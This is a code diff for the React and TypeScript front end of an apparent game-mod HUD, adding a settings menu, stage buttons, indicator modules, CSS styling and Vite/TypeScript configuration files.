else if (data.type === 'showHelp') {setShowHelp(true)}
|
||||
else if (data.type === 'hideHelp') {setShowHelp(false)}
|
||||
|
||||
if (data.type === 'clearButtons') {
|
||||
//console.log("Clearing buttons")
|
||||
setButtonObjects([])
|
||||
}
|
||||
|
||||
if (data.type === 'populateButtons') {
|
||||
//console.log(`Populating buttons ${JSON.stringify(data.buttons)}`)
|
||||
setButtonObjects(data.buttons)
|
||||
setTaClassString(calculateTaClassString(data.buttons))
|
||||
}
|
||||
|
||||
// takes: extra, state(0 on, 1 off)
|
||||
if (data.type === 'setButton') {
|
||||
//console.log(`Setting button ${data.extra} ${data.newState}`)
|
||||
setButton(data.extra, data.newState)
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
//console.log("I am the useEffect")
|
||||
|
||||
window.removeEventListener('message', handleMessage)
|
||||
window.addEventListener('message',handleMessage);
|
||||
|
||||
return () => {
|
||||
window.removeEventListener('message', handleMessage)
|
||||
}
|
||||
|
||||
}, [handleMessage]);
|
||||
|
||||
|
||||
|
||||
/////////////////
|
||||
// DEFINITIONS //
|
||||
/////////////////
|
||||
|
||||
let buttons = buttonObjects.map((buttonObject, index) => (
|
||||
<>
|
||||
<StageButton showHelp={showHelp} key={index} extra={buttonObject.extra} numKey={buttonObject.numKey} enabled={buttonObject.enabled} color={buttonObject.color} label={buttonObject.label}/>
|
||||
</>
|
||||
|
||||
))
|
||||
|
||||
return (
|
||||
<>
|
||||
{/* MENU */}
|
||||
<Menu
|
||||
hudDisabled={hudDisabled} setHudDisabled={setHudDisabled}
|
||||
opacity={menuOpacity} setMenuOpacity={setMenuOpacity}
|
||||
scale={scale} setScale={setScale}
|
||||
useLeftAnchor={useLeftAnchor} setUseLeftAnchor={setUseLeftAnchor}
|
||||
setPosition={setPosition}
|
||||
/>
|
||||
|
||||
|
||||
{/* HUD */}
|
||||
<Draggable defaultPosition={{x, y}} scale={scale} position={{x, y}} onStop={(e, data) => {handleDragEvent(e, data)}}>
|
||||
<Box sx={{
|
||||
position: 'absolute',
|
||||
bottom: 40,
|
||||
...(useLeftAnchor === 'true' ? { left: 40 } : { right: 40 }),
|
||||
scale: `${scale}`,
|
||||
opacity: `${opacity}%`,
|
||||
transition: 'opacity 0.25s ease'
|
||||
}}>
|
||||
{/* <Button onClick={() => {addButton(1, 1, false, 'green', 'STAGE 2')}}>Add button</Button>
|
||||
<Button onClick={() => {setButton(1, true)}}>Turn on</Button>
|
||||
<Button onClick={() => {setButtonObjects([])}}>Clear</Button>
|
||||
<Button onClick={() => {if (menuOpacity === 100) {setMenuOpacity(0)} else {setMenuOpacity(100)}}}>Menu</Button>
|
||||
<Button onClick={() => {setShowHelp(!showHelp)}}>Help</Button> */}
|
||||
<div className='background'>
|
||||
|
||||
{/* <div className={taClassString}>
|
||||
<TaModule on={false}></TaModule>
|
||||
<TaModule on={false}></TaModule>
|
||||
<TaModule on={true}></TaModule>
|
||||
<TaModule on={true}></TaModule>
|
||||
<TaModule on={true}></TaModule>
|
||||
<TaModule on={true}></TaModule>
|
||||
<TaModule on={false}></TaModule>
|
||||
</div> */}
|
||||
|
||||
<div className="buttons">
|
||||
{buttons}
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</Box>
|
||||
</Draggable>
|
||||
</>
|
||||
|
||||
|
||||
|
||||
)
|
||||
}
|
||||
|
||||
export default App
|
||||
|
After Width: | Height: | Size: 52 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 57 KiB |
|
After Width: | Height: | Size: 2.9 KiB |
|
After Width: | Height: | Size: 32 KiB |
|
After Width: | Height: | Size: 3.6 KiB |
@@ -0,0 +1,149 @@
|
||||
import React from 'react'
|
||||
import { useState, useEffect } from 'react'
|
||||
import { TypographyStylesProvider, Box, Button, Center, Container, Divider, Flex, NavLink, SegmentedControl, Slider, Switch, Space, Text } from '@mantine/core'
|
||||
|
||||
function Menu({hudDisabled, setHudDisabled, useLeftAnchor, setUseLeftAnchor, scale, setScale, setPosition, opacity, setMenuOpacity} : any) {
|
||||
|
||||
|
||||
return (
|
||||
<Container sx={{opacity: `${opacity}%`, transition: 'opacity 0.25s ease'}}>
|
||||
<Center sx={{height: '100vh'}}>
|
||||
<Flex direction='column' sx={(theme) => ({
|
||||
minHeight: '30vh',
|
||||
background: 'rgba(26,28,32,0.85)',
|
||||
borderRadius: theme.radius.md,
|
||||
padding: '10px',
|
||||
})}>
|
||||
<Container sx={{
|
||||
minWidth: '350px',
|
||||
paddingTop: '15px',
|
||||
WebkitBackdropFilter: 'blur(10px)',
|
||||
display: 'flex',
|
||||
flexDirection:'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center'}}
|
||||
w={"25vw"}>
|
||||
<Center sx={{width: '100%'}}>
|
||||
<TypographyStylesProvider>
|
||||
<h1>ULC SETTINGS</h1>
|
||||
</TypographyStylesProvider>
|
||||
</Center>
|
||||
</Container>
|
||||
<Container sx={{
|
||||
minWidth: '350px',
|
||||
paddingTop: '15px',
|
||||
WebkitBackdropFilter: 'blur(10px)',
|
||||
display: 'flex',
|
||||
flexDirection:'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center'}}
|
||||
w={"25vw"}>
|
||||
<Center sx={{width: '100%'}}>
|
||||
<Text fz='lg'>Click & drag HUD to reposition!</Text>
|
||||
|
||||
</Center>
|
||||
</Container>
|
||||
<Divider my={'xl'}/>
|
||||
<Container sx={{
|
||||
minWidth: '350px',
|
||||
display: 'flex',
|
||||
flexDirection:'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center'}}
|
||||
w={"25vw"}>
|
||||
|
||||
<Text fw='bold'>Anchor Position</Text>
|
||||
|
||||
<SegmentedControl sx={{float: 'right'}}
|
||||
value={useLeftAnchor}
|
||||
onChange={(value) => {setUseLeftAnchor(value); setPosition(0.0, 0.0)}}
|
||||
data={[
|
||||
{label: 'Right', value: 'false'},
|
||||
{label: 'Left', value: 'true'}
|
||||
]
|
||||
}/>
|
||||
</Container>
|
||||
<Space h={'md'}/>
|
||||
<Container sx={{
|
||||
minWidth: '350px',
|
||||
display: 'flex',
|
||||
flexDirection:'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center'}}
|
||||
w={"25vw"}>
|
||||
|
||||
<Text fw='bold'>HUD Scale</Text>
|
||||
|
||||
<Slider
|
||||
value={scale}
|
||||
onChange={setScale}
|
||||
|
||||
min={.5}
|
||||
max={2}
|
||||
step={0.1}
|
||||
|
||||
sx={{width: '60%'}}
|
||||
size="lg"
|
||||
label={(value) => `${value.toFixed(1)}`}
|
||||
/>
|
||||
</Container>
|
||||
<Space h={'md'}/>
|
||||
<Container sx={{
|
||||
minWidth: '350px',
|
||||
display: 'flex',
|
||||
flexDirection:'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center'}}
|
||||
w={"25vw"}>
|
||||
|
||||
<Text fw='bold'>Disable HUD</Text>
|
||||
|
||||
<Switch size='lg' radius='sm' checked={hudDisabled} onChange={(event) => setHudDisabled(event.currentTarget.checked)}/>
|
||||
</Container>
|
||||
<Space h={'xl'}/>
|
||||
|
||||
<Container sx={{
|
||||
minWidth: '350px',
|
||||
marginTop: 'auto',
|
||||
marginBottom: '10px',
|
||||
display: 'flex',
|
||||
flexDirection:'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center'}}
|
||||
w={"25vw"}>
|
||||
<Button onClick={() => {
|
||||
setScale(1.0)
|
||||
setUseLeftAnchor('false')
|
||||
setPosition(0.0, 0.0)
|
||||
setHudDisabled(false)
|
||||
}}
|
||||
sx={{
|
||||
width: '100%'
|
||||
}}
|
||||
uppercase color='red'>Reset</Button>
|
||||
|
||||
<Space w='md'></Space>
|
||||
|
||||
<Button onClick={() => {
|
||||
setMenuOpacity(0)
|
||||
let response = fetch(`https://ulc/focusGame`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({})
|
||||
});
|
||||
}}
|
||||
sx={{
|
||||
width: '100%'
|
||||
}}
|
||||
uppercase>Done</Button>
|
||||
|
||||
</Container>
|
||||
</Flex>
|
||||
</Center>
|
||||
</Container>
|
||||
)
|
||||
}
|
||||
|
||||
export default Menu
|
||||
@@ -0,0 +1,42 @@
|
||||
|
||||
.button {
|
||||
|
||||
aspect-ratio: 144/121;
|
||||
width: 65px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
text-align: center;
|
||||
|
||||
background-image: url('../assets/button_off.png');
|
||||
background-size: contain;
|
||||
background-repeat: no-repeat;
|
||||
|
||||
margin: 4px;
|
||||
padding: 5px;
|
||||
|
||||
color: rgb(81, 81, 81);
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
font-weight: 800;
|
||||
font-size: 10pt;
|
||||
line-height: 14px;
|
||||
}
|
||||
|
||||
/* this is method to change background image */
|
||||
/* just apply second class to the object */
|
||||
.blue {
|
||||
background-image: url('../assets/button_on_blue.png');
|
||||
color: #4e598f
|
||||
}
|
||||
.red {
|
||||
background-image: url('../assets/button_on_red.png');
|
||||
color: #95665D
|
||||
}
|
||||
.amber {
|
||||
background-image: url('../assets/button_on_amber.png');
|
||||
color: #948255
|
||||
}
|
||||
.green {
|
||||
background-image: url('../assets/button_on_green.png');
|
||||
color: #596a2d
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
import React from 'react'
|
||||
import { useState, useEffect } from 'react'
|
||||
import { Box } from '@mantine/core'
|
||||
import './StageButton.css'
|
||||
|
||||
function StageButton(props: any) {
|
||||
const { label, numKey, enabled, color, showHelp } = props
|
||||
const [classString, setClassString ] = useState('button')
|
||||
|
||||
// color strings = 'red', 'blue, 'amber'
|
||||
useEffect(() => {
|
||||
if (enabled) {
|
||||
setClassString(`button ${color}`)
|
||||
} else {
|
||||
setClassString(`button`)
|
||||
}
|
||||
}), [props]
|
||||
|
||||
if (showHelp) {
|
||||
return (
|
||||
<div className={classString}>
|
||||
{`NUM ${numKey}`}
|
||||
</div>
|
||||
)
|
||||
} else {
|
||||
return (
|
||||
<div className={classString}>
|
||||
{label}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
export default StageButton
|
||||
@@ -0,0 +1,13 @@
|
||||
.ta-module {
|
||||
aspect-ratio: 256/168;
|
||||
height: 100%;
|
||||
|
||||
background-image: url('../assets/ta_off.png');
|
||||
background-size: contain;
|
||||
background-repeat: no-repeat;
|
||||
background-position: center;
|
||||
}
|
||||
|
||||
.module-on {
|
||||
background-image: url('../assets/ta_on.png')
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
import React from 'react'
|
||||
import { useState, useEffect } from 'react'
|
||||
import './TaModule.css'
|
||||
|
||||
function TaModule(props : any) {
|
||||
|
||||
const [classString, setClassString ] = useState('ta-module')
|
||||
|
||||
// color strings = 'red', 'blue, 'amber'
|
||||
useEffect(() => {
|
||||
if (props.on) {
|
||||
setClassString(`ta-module module-on`)
|
||||
} else {
|
||||
setClassString(`ta-module`)
|
||||
}
|
||||
}), [props]
|
||||
|
||||
|
||||
return (
|
||||
<div className={classString}></div>
|
||||
)
|
||||
}
|
||||
|
||||
export default TaModule
|
||||
@@ -0,0 +1,16 @@
|
||||
import React from 'react'
|
||||
import ReactDOM from 'react-dom/client'
|
||||
import App from './App'
|
||||
import { MantineProvider } from '@mantine/core'
|
||||
|
||||
ReactDOM.createRoot(document.getElementById('root') as HTMLElement).render(
|
||||
<MantineProvider withGlobalStyles withNormalizeCSS theme={{ colorScheme: 'dark', fontFamily: 'Arial, Helvetica, sans-serif',
|
||||
globalStyles: (theme) => ({
|
||||
html: {
|
||||
colorScheme: 'normal'
|
||||
}
|
||||
})
|
||||
}} >
|
||||
<App />
|
||||
</MantineProvider>
|
||||
)
|
||||
@@ -0,0 +1 @@
|
||||
/// <reference types="vite/client" />
|
||||
@@ -0,0 +1,9 @@
|
||||
/** @type {import('tailwindcss').Config} */
|
||||
export default {
|
||||
content: [],
|
||||
theme: {
|
||||
extend: {},
|
||||
},
|
||||
plugins: [],
|
||||
}
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"target": "ESNext",
|
||||
"useDefineForClassFields": true,
|
||||
"lib": ["DOM", "DOM.Iterable", "ESNext"],
|
||||
"allowJs": false,
|
||||
"skipLibCheck": true,
|
||||
"esModuleInterop": false,
|
||||
"allowSyntheticDefaultImports": true,
|
||||
"strict": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "Node",
|
||||
"resolveJsonModule": true,
|
||||
"isolatedModules": true,
|
||||
"noEmit": true,
|
||||
"jsx": "react-jsx"
|
||||
},
|
||||
"include": ["src"],
|
||||
"references": [{ "path": "./tsconfig.node.json" }]
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"composite": true,
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "Node",
|
||||
"allowSyntheticDefaultImports": true
|
||||
},
|
||||
"include": ["vite.config.ts"]
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
import { defineConfig } from "vite";
|
||||
import react from "@vitejs/plugin-react";
|
||||
|
||||
// https://vitejs.dev/config/
|
||||
export default defineConfig({
|
||||
plugins: [react()],
|
||||
build: {
|
||||
outDir: "../html",
|
||||
},
|
||||
base: "",
|
||||
});
|
||||